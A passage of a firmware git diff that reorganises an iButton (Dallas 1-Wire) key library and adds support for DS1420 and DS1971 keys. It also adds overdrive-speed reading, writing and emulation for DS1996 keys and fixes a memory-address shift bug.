+lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) +libenv.Install("${LIB_DIST_DIR}", lib) +Return("lib") diff --git a/lib/one_wire/ibutton/ibutton_key.c b/lib/ibutton/ibutton_key.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_key.c rename to lib/ibutton/ibutton_key.c diff --git a/lib/one_wire/ibutton/ibutton_key.h b/lib/ibutton/ibutton_key.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_key.h rename to lib/ibutton/ibutton_key.h diff --git a/lib/one_wire/ibutton/ibutton_key_i.h b/lib/ibutton/ibutton_key_i.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_key_i.h rename to lib/ibutton/ibutton_key_i.h diff --git a/lib/one_wire/ibutton/ibutton_protocols.c b/lib/ibutton/ibutton_protocols.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_protocols.c rename to lib/ibutton/ibutton_protocols.c diff --git a/lib/one_wire/ibutton/ibutton_protocols.h b/lib/ibutton/ibutton_protocols.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_protocols.h rename to lib/ibutton/ibutton_protocols.h diff --git a/lib/one_wire/ibutton/ibutton_worker.c b/lib/ibutton/ibutton_worker.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker.c rename to lib/ibutton/ibutton_worker.c diff --git a/lib/one_wire/ibutton/ibutton_worker.h b/lib/ibutton/ibutton_worker.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker.h rename to lib/ibutton/ibutton_worker.h diff --git a/lib/one_wire/ibutton/ibutton_worker_i.h b/lib/ibutton/ibutton_worker_i.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker_i.h rename to lib/ibutton/ibutton_worker_i.h diff --git a/lib/one_wire/ibutton/ibutton_worker_modes.c b/lib/ibutton/ibutton_worker_modes.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker_modes.c rename to lib/ibutton/ibutton_worker_modes.c diff --git a/lib/one_wire/ibutton/protocols/blanks/rw1990.c b/lib/ibutton/protocols/blanks/rw1990.c similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/rw1990.c rename to lib/ibutton/protocols/blanks/rw1990.c diff --git a/lib/one_wire/ibutton/protocols/blanks/rw1990.h b/lib/ibutton/protocols/blanks/rw1990.h similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/rw1990.h rename to lib/ibutton/protocols/blanks/rw1990.h diff --git a/lib/one_wire/ibutton/protocols/blanks/tm2004.c b/lib/ibutton/protocols/blanks/tm2004.c similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/tm2004.c rename to lib/ibutton/protocols/blanks/tm2004.c diff --git a/lib/one_wire/ibutton/protocols/blanks/tm2004.h b/lib/ibutton/protocols/blanks/tm2004.h similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/tm2004.h rename to lib/ibutton/protocols/blanks/tm2004.h diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c b/lib/ibutton/protocols/dallas/dallas_common.c similarity index 90% rename from lib/one_wire/ibutton/protocols/dallas/dallas_common.c rename to lib/ibutton/protocols/dallas/dallas_common.c index 57a873b1d..ebf57e555 100644 --- a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c +++ b/lib/ibutton/protocols/dallas/dallas_common.c @@ -21,6 +21,7 @@ #define BITS_IN_BYTE 8U #define BITS_IN_KBIT 1024U +#define BITS_IN_MBIT (BITS_IN_KBIT * 1024U) bool dallas_common_skip_rom(OneWireHost* host) { onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); @@ -84,7 +85,7 @@ bool dallas_common_read_mem(OneWireHost* host, uint16_t address, uint8_t* data, onewire_host_write(host, DALLAS_COMMON_CMD_READ_MEM); onewire_host_write(host, (uint8_t)address); - onewire_host_write(host, (uint8_t)(address > BITS_IN_BYTE)); + onewire_host_write(host, (uint8_t)(address >> BITS_IN_BYTE)); onewire_host_read_bytes(host, data, (uint16_t)data_size); @@ -210,25 +211,35 @@ bool dallas_common_is_valid_crc(const DallasCommonRomData* rom_data) { void dallas_common_render_brief_data( FuriString* result, const DallasCommonRomData* rom_data, - const uint8_t* sram_data, - size_t sram_data_size) { + const uint8_t* mem_data, + size_t mem_size, + const char* mem_name) { for(size_t i = 0; i < sizeof(rom_data->bytes); ++i) { furi_string_cat_printf(result, "%02X ", rom_data->bytes[i]); } + const char* size_prefix = ""; + size_t mem_size_bits = mem_size * BITS_IN_BYTE; + + if(mem_size_bits >= BITS_IN_MBIT) { + size_prefix = "M"; + mem_size_bits /= BITS_IN_MBIT; + } else if(mem_size_bits >= BITS_IN_KBIT) { + size_prefix = "K"; + mem_size_bits /= BITS_IN_KBIT; + } + furi_string_cat_printf( - result, - "\nInternal SRAM: %zu Kbit\n", - (size_t)(sram_data_size * BITS_IN_BYTE / BITS_IN_KBIT)); + result, "\nInternal %s: %zu %sbit\n", mem_name, mem_size_bits, size_prefix); for(size_t i = 0; i < DALLAS_COMMON_BRIEF_HEAD_COUNT; ++i) { - furi_string_cat_printf(result, "%02X ", sram_data[i]); + furi_string_cat_printf(result, "%02X ", mem_data[i]); } furi_string_cat_printf(result, "[ . . . ]"); - for(size_t i = sram_data_size - DALLAS_COMMON_BRIEF_TAIL_COUNT; i < sram_data_size; ++i) { - furi_string_cat_printf(result, " %02X", sram_data[i]); + for(size_t i = mem_size - DALLAS_COMMON_BRIEF_TAIL_COUNT; i < mem_size; ++i) { + furi_string_cat_printf(result, " %02X", mem_data[i]); } } diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.h b/lib/ibutton/protocols/dallas/dallas_common.h similarity index 95% rename from lib/one_wire/ibutton/protocols/dallas/dallas_common.h rename to lib/ibutton/protocols/dallas/dallas_common.h index 7ad13eb2c..6f5ff7cc0 100644 --- a/lib/one_wire/ibutton/protocols/dallas/dallas_common.h +++ b/lib/ibutton/protocols/dallas/dallas_common.h @@ -1,10 +1,10 @@ #pragma once -#include - #include #include +#include + #define DALLAS_COMMON_MANUFACTURER_NAME "Dallas" #define DALLAS_COMMON_CMD_READ_ROM 0x33U @@ -99,8 +99,9 @@ bool dallas_common_is_valid_crc(const DallasCommonRomData* rom_data); void dallas_common_render_brief_data( FuriString* result, const DallasCommonRomData* rom_data, - const uint8_t* sram_data, - size_t sram_data_size); + const uint8_t* mem_data, + size_t mem_size, + const char* mem_name); void dallas_common_render_crc_error(FuriString* result, const DallasCommonRomData* rom_data); diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_dallas_base.h b/lib/ibutton/protocols/dallas/protocol_dallas_base.h similarity index 97% rename from lib/one_wire/ibutton/protocols/dallas/protocol_dallas_base.h rename to lib/ibutton/protocols/dallas/protocol_dallas_base.h index b4edb2b20..55e109936 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_dallas_base.h +++ b/lib/ibutton/protocols/dallas/protocol_dallas_base.h @@ -2,11 +2,11 @@ #include "../protocol_common_i.h" -#include - #include #include +#include + typedef bool (*iButtonProtocolDallasReadWriteFunc)(OneWireHost*, iButtonProtocolData*); typedef void (*iButtonProtocolDallasEmulateFunc)(OneWireSlave*, iButtonProtocolData*); typedef bool (*iButtonProtocolDallasSaveFunc)(FlipperFormat*, const iButtonProtocolData*); diff --git a/lib/ibutton/protocols/dallas/protocol_ds1420.c b/lib/ibutton/protocols/dallas/protocol_ds1420.c new file mode 100644 index 000000000..85e0145f4 --- /dev/null +++ b/lib/ibutton/protocols/dallas/protocol_ds1420.c @@ -0,0 +1,152 @@ +#include "protocol_ds1420.h" + +#include +#include + +#include "dallas_common.h" + +#include "../blanks/rw1990.h" +#include "../blanks/tm2004.h" + +#define DS1420_FAMILY_CODE 0x81U +#define DS1420_FAMILY_NAME "DS1420" + +#define DS1420_CMD_READ_ROM 0x0FU + +typedef struct { + OneWireSlave* bus; +} DS1420ProtocolState; + +typedef struct { + DallasCommonRomData rom_data; + DS1420ProtocolState state; +} DS1420ProtocolData; + +static bool dallas_ds1420_read(OneWireHost*, iButtonProtocolData*); +static bool dallas_ds1420_write_blank(OneWireHost*, iButtonProtocolData*); +static void dallas_ds1420_emulate(OneWireSlave*, iButtonProtocolData*); +static bool dallas_ds1420_load(FlipperFormat*, uint32_t, iButtonProtocolData*); +static bool dallas_ds1420_save(FlipperFormat*, const iButtonProtocolData*); +static void dallas_ds1420_render_brief_data(FuriString*, const iButtonProtocolData*); +static void dallas_ds1420_render_error(FuriString*, const iButtonProtocolData*); +static bool dallas_ds1420_is_data_valid(const iButtonProtocolData*); +static void dallas_ds1420_get_editable_data(iButtonEditableData*, iButtonProtocolData*); +static void dallas_ds1420_apply_edits(iButtonProtocolData*); + +const iButtonProtocolDallasBase ibutton_protocol_ds1420 = { + .family_code = DS1420_FAMILY_CODE, + .features = iButtonProtocolFeatureWriteBlank, + .data_size = sizeof(DS1420ProtocolData), + .manufacturer = DALLAS_COMMON_MANUFACTURER_NAME, + .name = DS1420_FAMILY_NAME, + + .read = dallas_ds1420_read, + .write_blank = dallas_ds1420_write_blank, + .write_copy = NULL, /* No data to write a copy */ + .emulate = dallas_ds1420_emulate, + .save = dallas_ds1420_save, + .load = dallas_ds1420_load, + .render_data = NULL, /* No data to render */ + .render_brief_data = dallas_ds1420_render_brief_data, + .render_error = dallas_ds1420_render_error, + .is_valid = dallas_ds1420_is_data_valid, + .get_editable_data = dallas_ds1420_get_editable_data, + .apply_edits = dallas_ds1420_apply_edits, +}; + +bool dallas_ds1420_read(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + return onewire_host_reset(host) && dallas_common_read_rom(host, &data->rom_data); +} + +bool dallas_ds1420_write_blank(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + + return rw1990_write_v1(host, data->rom_data.bytes, sizeof(DallasCommonRomData)) || + rw1990_write_v2(host, data->rom_data.bytes, sizeof(DallasCommonRomData)) || + tm2004_write(host, data->rom_data.bytes, sizeof(DallasCommonRomData)); +} + +static bool dallas_ds1420_reset_callback(bool is_short, void* context) { + DS1420ProtocolData* data = context; + if(!is_short) { + onewire_slave_set_overdrive(data->state.bus, is_short); + } + return !is_short; +} + +static bool dallas_ds1420_command_callback(uint8_t command, void* context) { + furi_assert(context); + DS1420ProtocolData* data = context; + OneWireSlave* bus = data->state.bus; + + switch(command) { + case DALLAS_COMMON_CMD_SEARCH_ROM: + dallas_common_emulate_search_rom(bus, &data->rom_data); + break; + case DALLAS_COMMON_CMD_READ_ROM: + case DS1420_CMD_READ_ROM: + dallas_common_emulate_read_rom(bus, &data->rom_data); + break; + default: + break; + } + + // No support for multiple consecutive commands + return false; +} + +void dallas_ds1420_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + data->state.bus = bus; + + onewire_slave_set_reset_callback(bus, dallas_ds1420_reset_callback, protocol_data); + onewire_slave_set_command_callback(bus, dallas_ds1420_command_callback, protocol_data); +} + +bool dallas_ds1420_save(FlipperFormat* ff, const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + return dallas_common_save_rom_data(ff, &data->rom_data); +} + +bool dallas_ds1420_load( + FlipperFormat* ff, + uint32_t format_version, + iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + return dallas_common_load_rom_data(ff, format_version, &data->rom_data); +} + +void dallas_ds1420_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + + for(size_t i = 0; i < sizeof(DallasCommonRomData); ++i) { + furi_string_cat_printf(result, "%02X ", data->rom_data.bytes[i]); + } +} + +void dallas_ds1420_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + + if(!dallas_common_is_valid_crc(&data->rom_data)) { + dallas_common_render_crc_error(result, &data->rom_data); + } +} + +bool dallas_ds1420_is_data_valid(const iButtonProtocolData* protocol_data) { + const DS1420ProtocolData* data = protocol_data; + return dallas_common_is_valid_crc(&data->rom_data); +} + +void dallas_ds1420_get_editable_data( + iButtonEditableData* editable_data, + iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + editable_data->ptr = data->rom_data.bytes; + editable_data->size = sizeof(DallasCommonRomData); +} + +void dallas_ds1420_apply_edits(iButtonProtocolData* protocol_data) { + DS1420ProtocolData* data = protocol_data; + dallas_common_apply_edits(&data->rom_data, DS1420_FAMILY_CODE); +} diff --git a/lib/ibutton/protocols/dallas/protocol_ds1420.h b/lib/ibutton/protocols/dallas/protocol_ds1420.h new file mode 100644 index 000000000..63c239738 --- /dev/null +++ b/lib/ibutton/protocols/dallas/protocol_ds1420.h @@ -0,0 +1,5 @@ +#pragma once + +#include "protocol_dallas_base.h" + +extern const iButtonProtocolDallasBase ibutton_protocol_ds1420; diff --git a/lib/ibutton/protocols/dallas/protocol_ds1971.c b/lib/ibutton/protocols/dallas/protocol_ds1971.c new file mode 100644 index 000000000..a806acb22 --- /dev/null +++ b/lib/ibutton/protocols/dallas/protocol_ds1971.c @@ -0,0 +1,276 @@ +#include "protocol_ds1971.h" + +#include +#include + +#include "dallas_common.h" + +#define DS1971_FAMILY_CODE 0x14U +#define DS1971_FAMILY_NAME "DS1971" + +#define DS1971_EEPROM_DATA_SIZE 32U +#define DS1971_SRAM_PAGE_SIZE 32U +#define DS1971_COPY_SCRATCH_DELAY_US 250U + +#define DS1971_DATA_BYTE_COUNT 4U + +#define DS1971_EEPROM_DATA_KEY "Eeprom Data" +#define DS1971_MEMORY_TYPE "EEPROM" + +#define DS1971_CMD_FINALIZATION 0xA5 + +typedef struct { + OneWireSlave* bus; + DallasCommonCommandState command_state; +} DS1971ProtocolState; + +typedef struct { + DallasCommonRomData rom_data; + uint8_t eeprom_data[DS1971_EEPROM_DATA_SIZE]; + DS1971ProtocolState state; +} DS1971ProtocolData; + +static bool dallas_ds1971_read(OneWireHost*, void*); +static bool dallas_ds1971_write_copy(OneWireHost*, iButtonProtocolData*); +static void dallas_ds1971_emulate(OneWireSlave*, iButtonProtocolData*); +static bool dallas_ds1971_load(FlipperFormat*, uint32_t, iButtonProtocolData*); +static bool dallas_ds1971_save(FlipperFormat*, const iButtonProtocolData*); +static void dallas_ds1971_render_data(FuriString*, const iButtonProtocolData*); +static void dallas_ds1971_render_brief_data(FuriString*, const iButtonProtocolData*); +static void dallas_ds1971_render_error(FuriString*, const iButtonProtocolData*); +static bool dallas_ds1971_is_data_valid(const iButtonProtocolData*); +static void dallas_ds1971_get_editable_data(iButtonEditableData*, iButtonProtocolData*); +static void dallas_ds1971_apply_edits(iButtonProtocolData*); +static bool + dallas_ds1971_read_mem(OneWireHost* host, uint8_t address, uint8_t* data, size_t data_size); +static bool ds1971_emulate_read_mem(OneWireSlave* bus, const uint8_t* data, size_t data_size); + +const iButtonProtocolDallasBase ibutton_protocol_ds1971 = { + .family_code = DS1971_FAMILY_CODE, + .features = iButtonProtocolFeatureExtData | iButtonProtocolFeatureWriteCopy, + .data_size = sizeof(DS1971ProtocolData), + .manufacturer = DALLAS_COMMON_MANUFACTURER_NAME, + .name = DS1971_FAMILY_NAME, + + .read = dallas_ds1971_read, + .write_blank = NULL, // TODO: Implement writing to blank + .write_copy = dallas_ds1971_write_copy, + .emulate = dallas_ds1971_emulate, + .save = dallas_ds1971_save, + .load = dallas_ds1971_load, + .render_data = dallas_ds1971_render_data, + .render_brief_data = dallas_ds1971_render_brief_data, + .render_error = dallas_ds1971_render_error, + .is_valid = dallas_ds1971_is_data_valid, + .get_editable_data = dallas_ds1971_get_editable_data, + .apply_edits = dallas_ds1971_apply_edits, +}; + +bool dallas_ds1971_read(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + return onewire_host_reset(host) && dallas_common_read_rom(host, &data->rom_data) && + dallas_ds1971_read_mem(host, 0, data->eeprom_data, DS1971_EEPROM_DATA_SIZE); +} + +bool dallas_ds1971_write_copy(OneWireHost* host, iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + + onewire_host_reset(host); + onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); + // Starting writing from address 0x0000 + onewire_host_write(host, DALLAS_COMMON_CMD_WRITE_SCRATCH); + onewire_host_write(host, 0x00); + // Write data to scratchpad + onewire_host_write_bytes(host, data->eeprom_data, DS1971_EEPROM_DATA_SIZE); + + // Read data from scratchpad and verify + bool pad_valid = false; + if(onewire_host_reset(host)) { + pad_valid = true; + onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); + onewire_host_write(host, DALLAS_COMMON_CMD_READ_SCRATCH); + onewire_host_write(host, 0x00); + + for(size_t i = 0; i < DS1971_EEPROM_DATA_SIZE; ++i) { + uint8_t scratch = onewire_host_read(host); + if(data->eeprom_data[i] != scratch) { + pad_valid = false; + break; + } + } + } + + // Copy scratchpad to memory and confirm + if(pad_valid) { + if(onewire_host_reset(host)) { + onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); + onewire_host_write(host, DALLAS_COMMON_CMD_COPY_SCRATCH); + onewire_host_write(host, DS1971_CMD_FINALIZATION); + + furi_delay_us(DS1971_COPY_SCRATCH_DELAY_US); + } + } + + return pad_valid; +} + +static bool dallas_ds1971_reset_callback(bool is_short, void* context) { + furi_assert(context); + DS1971ProtocolData* data = context; + + if(!is_short) { + data->state.command_state = DallasCommonCommandStateIdle; + onewire_slave_set_overdrive(data->state.bus, is_short); + } + + return !is_short; +} + +static bool dallas_ds1971_command_callback(uint8_t command, void* context) { + furi_assert(context); + DS1971ProtocolData* data = context; + OneWireSlave* bus = data->state.bus; + + switch(command) { + case DALLAS_COMMON_CMD_SEARCH_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + return dallas_common_emulate_search_rom(bus, &data->rom_data); + + } else if(data->state.command_state == DallasCommonCommandStateRomCmd) { + data->state.command_state = DallasCommonCommandStateMemCmd; + ds1971_emulate_read_mem(bus, data->eeprom_data, DS1971_EEPROM_DATA_SIZE); + return false; + + } else { + return false; + } + + case DALLAS_COMMON_CMD_READ_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + return dallas_common_emulate_read_rom(bus, &data->rom_data); + } else { + return false; + } + + case DALLAS_COMMON_CMD_SKIP_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + return true; + } else { + return false; + } + + default: + return false; + } +} + +void dallas_ds1971_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + data->state.bus = bus; + + onewire_slave_set_reset_callback(bus, dallas_ds1971_reset_callback, protocol_data); + onewire_slave_set_command_callback(bus, dallas_ds1971_command_callback, protocol_data); +} + +bool dallas_ds1971_load( + FlipperFormat* ff, + uint32_t format_version, + iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + bool success = false; + + do { + if(format_version < 2) break; + if(!dallas_common_load_rom_data(ff, format_version, &data->rom_data)) break; + if(!flipper_format_read_hex( + ff, DS1971_EEPROM_DATA_KEY, data->eeprom_data, DS1971_EEPROM_DATA_SIZE)) + break; + success = true; + } while(false); + + return success; +} + +bool dallas_ds1971_save(FlipperFormat* ff, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + bool success = false; + + do { + if(!dallas_common_save_rom_data(ff, &data->rom_data)) break; + if(!flipper_format_write_hex( + ff, DS1971_EEPROM_DATA_KEY, data->eeprom_data, DS1971_EEPROM_DATA_SIZE)) + break; + success = true; + } while(false); + + return success; +} + +void dallas_ds1971_render_data(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + pretty_format_bytes_hex_canonical( + result, + DS1971_DATA_BYTE_COUNT, + PRETTY_FORMAT_FONT_MONOSPACE, + data->eeprom_data, + DS1971_EEPROM_DATA_SIZE); +} + +void dallas_ds1971_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + dallas_common_render_brief_data( + result, &data->rom_data, data->eeprom_data, DS1971_EEPROM_DATA_SIZE, DS1971_MEMORY_TYPE); +} + +void dallas_ds1971_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + + if(!dallas_common_is_valid_crc(&data->rom_data)) { + dallas_common_render_crc_error(result, &data->rom_data); + } +} + +bool dallas_ds1971_is_data_valid(const iButtonProtocolData* protocol_data) { + const DS1971ProtocolData* data = protocol_data; + return dallas_common_is_valid_crc(&data->rom_data); +} + +void dallas_ds1971_get_editable_data( + iButtonEditableData* editable_data, + iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + editable_data->ptr = data->rom_data.bytes; + editable_data->size = sizeof(DallasCommonRomData); +} + +void dallas_ds1971_apply_edits(iButtonProtocolData* protocol_data) { + DS1971ProtocolData* data = protocol_data; + dallas_common_apply_edits(&data->rom_data, DS1971_FAMILY_CODE); +} + +bool dallas_ds1971_read_mem(OneWireHost* host, uint8_t address, uint8_t* data, size_t data_size) { + onewire_host_write(host, DALLAS_COMMON_CMD_READ_MEM); + + onewire_host_write(host, address); + onewire_host_read_bytes(host, data, (uint8_t)data_size); + + return true; +} + +bool ds1971_emulate_read_mem(OneWireSlave* bus, const uint8_t* data, size_t data_size) { + bool success = false; + + do { + uint8_t address; + if(!onewire_slave_receive(bus, &address, sizeof(address))) break; + if(address >= data_size) break; + if(!onewire_slave_send(bus, data + address, data_size - address)) break; + + success = true; + } while(false); + + return success; +} diff --git a/lib/ibutton/protocols/dallas/protocol_ds1971.h b/lib/ibutton/protocols/dallas/protocol_ds1971.h new file mode 100644 index 000000000..522b612da --- /dev/null +++ b/lib/ibutton/protocols/dallas/protocol_ds1971.h @@ -0,0 +1,5 @@ +#pragma once + +#include "protocol_dallas_base.h" + +extern const iButtonProtocolDallasBase ibutton_protocol_ds1971; diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.c b/lib/ibutton/protocols/dallas/protocol_ds1990.c similarity index 94% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.c rename to lib/ibutton/protocols/dallas/protocol_ds1990.c index 0d9c937ee..86d39f1bd 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1990.c @@ -67,6 +67,14 @@ bool dallas_ds1990_write_blank(OneWireHost* host, iButtonProtocolData* protocol_ tm2004_write(host, data->rom_data.bytes, sizeof(DallasCommonRomData)); } +static bool dallas_ds1990_reset_callback(bool is_short, void* context) { + DS1990ProtocolData* data = context; + if(!is_short) { + onewire_slave_set_overdrive(data->state.bus, is_short); + } + return !is_short; +} + static bool dallas_ds1990_command_callback(uint8_t command, void* context) { furi_assert(context); DS1990ProtocolData* data = context; @@ -92,7 +100,7 @@ void dallas_ds1990_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data DS1990ProtocolData* data = protocol_data; data->state.bus = bus; - onewire_slave_set_reset_callback(bus, NULL, NULL); + onewire_slave_set_reset_callback(bus, dallas_ds1990_reset_callback, protocol_data); onewire_slave_set_command_callback(bus, dallas_ds1990_command_callback, protocol_data); } diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.h b/lib/ibutton/protocols/dallas/protocol_ds1990.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.h rename to lib/ibutton/protocols/dallas/protocol_ds1990.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c b/lib/ibutton/protocols/dallas/protocol_ds1992.c similarity index 96% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c rename to lib/ibutton/protocols/dallas/protocol_ds1992.c index 131bc634a..0b4d4b34f 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1992.c @@ -17,6 +17,7 @@ #define DS1992_DATA_BYTE_COUNT 4U #define DS1992_SRAM_DATA_KEY "Sram Data" +#define DS1992_MEMORY_TYPE "SRAM" typedef struct { OneWireSlave* bus; @@ -86,10 +87,16 @@ bool dallas_ds1992_write_copy(OneWireHost* host, iButtonProtocolData* protocol_d DS1992_SRAM_DATA_SIZE); } -static void dallas_ds1992_reset_callback(void* context) { +static bool dallas_ds1992_reset_callback(bool is_short, void* context) { furi_assert(context); DS1992ProtocolData* data = context; - data->state.command_state = DallasCommonCommandStateIdle; + + if(!is_short) { + data->state.command_state = DallasCommonCommandStateIdle; + onewire_slave_set_overdrive(data->state.bus, is_short); + } + + return !is_short; } static bool dallas_ds1992_command_callback(uint8_t command, void* context) { @@ -188,7 +195,7 @@ void dallas_ds1992_render_data(FuriString* result, const iButtonProtocolData* pr void dallas_ds1992_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { const DS1992ProtocolData* data = protocol_data; dallas_common_render_brief_data( - result, &data->rom_data, data->sram_data, DS1992_SRAM_DATA_SIZE); + result, &data->rom_data, data->sram_data, DS1992_SRAM_DATA_SIZE, DS1992_MEMORY_TYPE); } void dallas_ds1992_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.h b/lib/ibutton/protocols/dallas/protocol_ds1992.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.h rename to lib/ibutton/protocols/dallas/protocol_ds1992.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c b/lib/ibutton/protocols/dallas/protocol_ds1996.c similarity index 80% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c rename to lib/ibutton/protocols/dallas/protocol_ds1996.c index e69145c58..5358b63e2 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1996.c @@ -15,6 +15,7 @@ #define DS1996_DATA_BYTE_COUNT 4U #define DS1996_SRAM_DATA_KEY "Sram Data" +#define DS1996_MEMORY_TYPE "SRAM" typedef struct { OneWireSlave* bus; @@ -62,24 +63,54 @@ const iButtonProtocolDallasBase ibutton_protocol_ds1996 = { bool dallas_ds1996_read(OneWireHost* host, iButtonProtocolData* protocol_data) { DS1996ProtocolData* data = protocol_data; - return onewire_host_reset(host) && dallas_common_read_rom(host, &data->rom_data) && - dallas_common_read_mem(host, 0, data->sram_data, DS1996_SRAM_DATA_SIZE); + bool success = false; + + do { + if(!onewire_host_reset(host)) break; + if(!dallas_common_read_rom(host, &data->rom_data)) break; + if(!onewire_host_reset(host)) break; + + onewire_host_write(host, DALLAS_COMMON_CMD_OVERDRIVE_SKIP_ROM); + onewire_host_set_overdrive(host, true); + + if(!dallas_common_read_mem(host, 0, data->sram_data, DS1996_SRAM_DATA_SIZE)) break; + success = true; + } while(false); + + onewire_host_set_overdrive(host, false); + return success; } bool dallas_ds1996_write_copy(OneWireHost* host, iButtonProtocolData* protocol_data) { DS1996ProtocolData* data = protocol_data; - return dallas_common_write_mem( - host, - DS1996_COPY_SCRATCH_TIMEOUT_US, - DS1996_SRAM_PAGE_SIZE, - data->sram_data, - DS1996_SRAM_DATA_SIZE); + bool success = false; + + do { + if(!onewire_host_reset(host)) break; + + onewire_host_write(host, DALLAS_COMMON_CMD_OVERDRIVE_SKIP_ROM); + onewire_host_set_overdrive(host, true); + + if(!dallas_common_write_mem( + host, + DS1996_COPY_SCRATCH_TIMEOUT_US, + DS1996_SRAM_PAGE_SIZE, + data->sram_data, + DS1996_SRAM_DATA_SIZE)) + break; + success = true; + } while(false); + + onewire_host_set_overdrive(host, false); + return success; } -static void dallas_ds1996_reset_callback(void* context) { +static bool dallas_ds1996_reset_callback(bool is_short, void* context) { furi_assert(context); DS1996ProtocolData* data = context; data->state.command_state = DallasCommonCommandStateIdle; + onewire_slave_set_overdrive(data->state.bus, is_short); + return true; } static bool dallas_ds1996_command_callback(uint8_t command, void* context) { @@ -95,8 +126,7 @@ static bool dallas_ds1996_command_callback(uint8_t command, void* context) { } else if(data->state.command_state == DallasCommonCommandStateRomCmd) { data->state.command_state = DallasCommonCommandStateMemCmd; - dallas_common_emulate_read_mem(bus, data->sram_data, DS1996_SRAM_DATA_SIZE); - return false; + return dallas_common_emulate_read_mem(bus, data->sram_data, DS1996_SRAM_DATA_SIZE); } else { return false; @@ -119,8 +149,17 @@ static bool dallas_ds1996_command_callback(uint8_t command, void* context) { } case DALLAS_COMMON_CMD_OVERDRIVE_SKIP_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + onewire_slave_set_overdrive(bus, true); + return true; + } else { + return false; + } + + case DALLAS_COMMON_CMD_MATCH_ROM: case DALLAS_COMMON_CMD_OVERDRIVE_MATCH_ROM: - /* TODO: Overdrive mode support */ + /* TODO: Match ROM command support */ default: return false; } @@ -182,7 +221,7 @@ void dallas_ds1996_render_data(FuriString* result, const iButtonProtocolData* pr void dallas_ds1996_render_brief_data(FuriString* result, const iButtonProtocolData* protocol_data) { const DS1996ProtocolData* data = protocol_data; dallas_common_render_brief_data( - result, &data->rom_data, data->sram_data, DS1996_SRAM_DATA_SIZE); + result, &data->rom_data, data->sram_data, DS1996_SRAM_DATA_SIZE, DS1996_MEMORY_TYPE); } void dallas_ds1996_render_error(FuriString* result, const iButtonProtocolData* protocol_data) { diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.h b/lib/ibutton/protocols/dallas/protocol_ds1996.h similarity index 100% rename from 